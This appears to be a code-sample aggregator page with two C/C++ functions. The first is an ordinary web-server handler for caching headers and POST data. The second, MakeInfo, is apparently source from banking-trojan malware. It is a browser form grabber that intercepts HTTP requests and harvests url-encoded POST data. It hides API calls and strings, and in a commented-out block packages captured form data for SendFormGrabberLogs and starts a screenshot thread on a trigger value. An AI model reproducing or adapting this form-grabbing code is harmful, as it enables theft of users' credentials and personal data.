Exemple #1
0
int CWebServer::HandlePartialRequest(struct MHD_Connection *connection, ConnectionHandler* connectionHandler, const HTTPRequest& request, const char *upload_data, size_t *upload_data_size, void **con_cls)
{
  std::unique_ptr<ConnectionHandler> conHandler(connectionHandler);

  // remember if the request was new
  bool isNewRequest = conHandler->isNew;
  // because now it isn't anymore
  conHandler->isNew = false;

  // reset con_cls and set it if still necessary
  *con_cls = nullptr;

  if (!IsAuthenticated(request))
    return AskForAuthentication(request);

  // check if this is the first call to AnswerToConnection for this request
  if (isNewRequest)
  {
    // look for a IHTTPRequestHandler which can take care of the current request
    auto handler = FindRequestHandler(request);
    if (handler != nullptr)
    {
      // if we got a GET request we need to check if it should be cached
      if (request.method == GET)
      {
        if (handler->CanBeCached())
        {
          bool cacheable = IsRequestCacheable(request);

          CDateTime lastModified;
          if (handler->GetLastModifiedDate(lastModified) && lastModified.IsValid())
          {
            // handle If-Modified-Since or If-Unmodified-Since
            std::string ifModifiedSince = HTTPRequestHandlerUtils::GetRequestHeaderValue(connection, MHD_HEADER_KIND, MHD_HTTP_HEADER_IF_MODIFIED_SINCE);
            std::string ifUnmodifiedSince = HTTPRequestHandlerUtils::GetRequestHeaderValue(connection, MHD_HEADER_KIND, MHD_HTTP_HEADER_IF_UNMODIFIED_SINCE);

            CDateTime ifModifiedSinceDate;
            CDateTime ifUnmodifiedSinceDate;
            // handle If-Modified-Since (but only if the response is cacheable)
            if (cacheable &&
              ifModifiedSinceDate.SetFromRFC1123DateTime(ifModifiedSince) &&
              lastModified.GetAsUTCDateTime() <= ifModifiedSinceDate)
            {
              struct MHD_Response *response = create_response(0, nullptr, MHD_NO, MHD_NO);
              if (response == nullptr)
              {
                CLog::Log(LOGERROR, "CWebServer[%hu]: failed to create a HTTP 304 response", m_port);
                return MHD_NO;
              }

              return FinalizeRequest(handler, MHD_HTTP_NOT_MODIFIED, response);
            }
            // handle If-Unmodified-Since
            else if (ifUnmodifiedSinceDate.SetFromRFC1123DateTime(ifUnmodifiedSince) &&
              lastModified.GetAsUTCDateTime() > ifUnmodifiedSinceDate)
              return SendErrorResponse(request, MHD_HTTP_PRECONDITION_FAILED, request.method);
          }

          // pass the requested ranges on to the request handler
          handler->SetRequestRanged(IsRequestRanged(request, lastModified));
        }
      }
      // if we got a POST request we need to take care of the POST data
      else if (request.method == POST)
      {
        // as ownership of the connection handler is passed to libmicrohttpd we must not destroy it
        SetupPostDataProcessing(request, conHandler.get(), handler, con_cls);

        // as ownership of the connection handler has been passed to libmicrohttpd we must not destroy it
        conHandler.release();

        return MHD_YES;
      }

      return HandleRequest(handler);
    }
  }
  // this is a subsequent call to AnswerToConnection for this request
  else
  {
    // again we need to take special care of the POST data
    if (request.method == POST)
    {
      // process additional / remaining POST data
      if (ProcessPostData(request, conHandler.get(), upload_data, upload_data_size, con_cls))
      {
        // as ownership of the connection handler has been passed to libmicrohttpd we must not destroy it
        conHandler.release();

        return MHD_YES;
      }

      // finalize POST data processing
      FinalizePostDataProcessing(conHandler.get());

      // check if something went wrong while handling the POST data
      if (conHandler->errorStatus != MHD_HTTP_OK)
        return SendErrorResponse(request, conHandler->errorStatus, request.method);

      // we have handled all POST data so it's time to invoke the IHTTPRequestHandler
      return HandleRequest(conHandler->requestHandler);
    }

    // it's unusual to get more than one call to AnswerToConnection for none-POST requests, but let's handle it anyway
    auto requestHandler = FindRequestHandler(request);
    if (requestHandler != nullptr)
      return HandleRequest(requestHandler);
  }

  CLog::Log(LOGERROR, "CWebServer[%hu]: couldn't find any request handler for %s", m_port, request.pathUrl.c_str());
  return SendErrorResponse(request, MHD_HTTP_NOT_FOUND, request.method);
}
Exemple #2
0
bool MakeInfo( PREQUEST pReq, PCHAR buf, int len )
{

	// Собираем информацию об отправляемом запросе
	PCHAR MethodName;
	PCHAR Path;

	// Разбираем тип запроса

	if (!ParseRequestFirstLine(buf, &MethodName, &Path, NULL))
		return false;

	pReq->dwVerb = GetMethodFromStr(MethodName);

	if (pReq->dwVerb != hmGET && pReq->dwVerb!= hmPOST)
    {
		StrFree(MethodName);
        StrFree(Path);
		return false;
	}

	// Собираем URL
	PCHAR Host = GetHTTPHeaderValue(buf, ParamHost);

	PCHAR Protocol = ProtocolHTTP;
	if (pReq->bHttps) Protocol = ProtocolHTTPS;

	pReq->Url = StrNew(5, Protocol, "://", Host, "/", Path);
	StrFree(Path);
	StrFree(Host);
    if (pReq->Url == NULL) return false;


	// Проверяем POST данные
	if (pReq->dwVerb == hmPOST)
	{
		UpdateFFUserAgent(buf);

		DWORD HeaderHash = CalcHash(buf);
		if (FindHash(HeaderHash)) return true;

        // Проверяем тип контента
		PCHAR CT = GetHTTPHeaderValue(buf, ParamContentType);
		DWORD Hash = CalcHash(CT);
		StrFree(CT);
		if (Hash != 0x6B3CDFEC) /* url_encoded*/
			return true;

		// Обрабатываем пост данные
		PCHAR Optional = GetURLEncodedPostData(buf);
        pReq->Optional = Optional;
		if (Optional != NULL && ProcessPostData(pReq, Optional))
			AddHash(HeaderHash);


	}

  /*	if ( len < 10 )
	{
		return false;
	}

	DWORD dwMethod = -1;

	char Post[] = {'P','O','S','T',' ',0};
	char Get[]	= {'G','E','T',' ',0};

	char *Method = NULL;

	if ( !m_lstrncmp( buf, Get, 4 ) )
	{
		dwMethod = VERB_IS_GET;
		Method   = Get;
	}
		
	if ( !m_lstrncmp( buf, Post, 5 ) )
	{
		dwMethod = VERB_IS_POST;
		Method   = Post;
	}

	if ( dwMethod == (DWORD)-1 )
	{
		return false;
	}


	//----------------------------------------------------------------------


	typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
	fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );

	char *Host   = NULL;
	char *Params = NULL;

	char Server[] = {'H','o','s','t',':',' ',0};

	if ( GetText( buf, &Host, Server, "\r\n" ) != -1 )
	{
		if ( GetText( buf, &Params, Method, " " ) != -1 )
		{
			char *Type = NULL;

			char https[] = {'h','t','t','p','s',':','/','/',0};
			char http[]  = {'h','t','t','p',':','/','/',0};

			if ( pReq->bHttps )
			{
				Type = https;
			}
			else
			{
				Type = http;
			}

			if ( ( pReq->Url = (char*)MemAlloc( 1024 ) ) != NULL )
			{
				pwsprintfA( pReq->Url, "%s%s%s", Type, Host, Params );
				pReq->dwVerb = dwMethod;
			}

			MemFree( Params );
		}

		MemFree( Server );
		MemFree( Host );
	}

	DWORD dwHeaderHash = CalcHash( buf );

	if ( pReq->Url != NULL && pReq->dwVerb == VERB_IS_POST )
	{
		if ( !FindHash( dwHeaderHash ) )
		{
			char ContentType[] = {'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',0 };
			char *Content = NULL;

			if ( GetText( buf, &Content, ContentType, "\r\n" ) != -1 )
			{
				DWORD dwContentHash = CalcHash( Content );

				MemFree( Content );

				if ( dwContentHash == 0x6B3CDFEC ) //urlencode
				{
					DWORD dwLen = 0;

					char *PostReq = GetPostData( buf, &dwLen, len );

					if ( PostReq != NULL && dwLen )
					{
						if ( ( pReq->Optional = (char*)MemAlloc( dwLen + 1 ) ) != NULL )
						{
							m_memcpy( pReq->Optional, PostReq, dwLen );
						}

						if ( CalcHash( pReq->Optional ) == 0x24DE3210 )
						{
							StartThread( ScreensThread, NULL );
							AddHash( dwHeaderHash );
							return true;
						}

						MemFree( PostReq );

						char PostTag[]  = {'|','P','O','S','T',':',0};

						char *SendBuffer = (char*)MemAlloc( dwLen + m_lstrlen( pReq->Url ) + m_lstrlen( PostTag ) + 2 );

						if ( SendBuffer != NULL )
						{
							m_lstrcpy( SendBuffer, pReq->Url );
							m_lstrcat( SendBuffer, "?" );
							m_lstrcat( SendBuffer, PostTag  );
							m_lstrcat( SendBuffer, pReq->Optional );

							if ( !m_lstrlen( FFUserAgent ) )
							{
								char UserAgentStr[] = {'U','s','e','r','-','A','g','e','n','t',':',' ', 0}; 
								char *pUserAgent		= GetHttpInfo(UserAgentStr, buf );

								if ( pUserAgent == NULL )
								{
									FFUserAgent[0] = '-';
									FFUserAgent[1] = '\0';
								}
								else
								{
									if ( m_lstrlen( pUserAgent ) <= 255 )
									{
										m_lstrcpy( FFUserAgent, pUserAgent );
									}
								}

								MemFree( pUserAgent );
							}

							if ( SendFormGrabberLogs(pReq->Url, SendBuffer, FFUserAgent, BROWSER_TYPE_FF, DATA_TYPE_FORMGRAB ) )
							{
								AddHash( dwHeaderHash );
							}

							MemFree( SendBuffer );
						}						
					}
				}
			}
		}
	}
   */
	return true;
}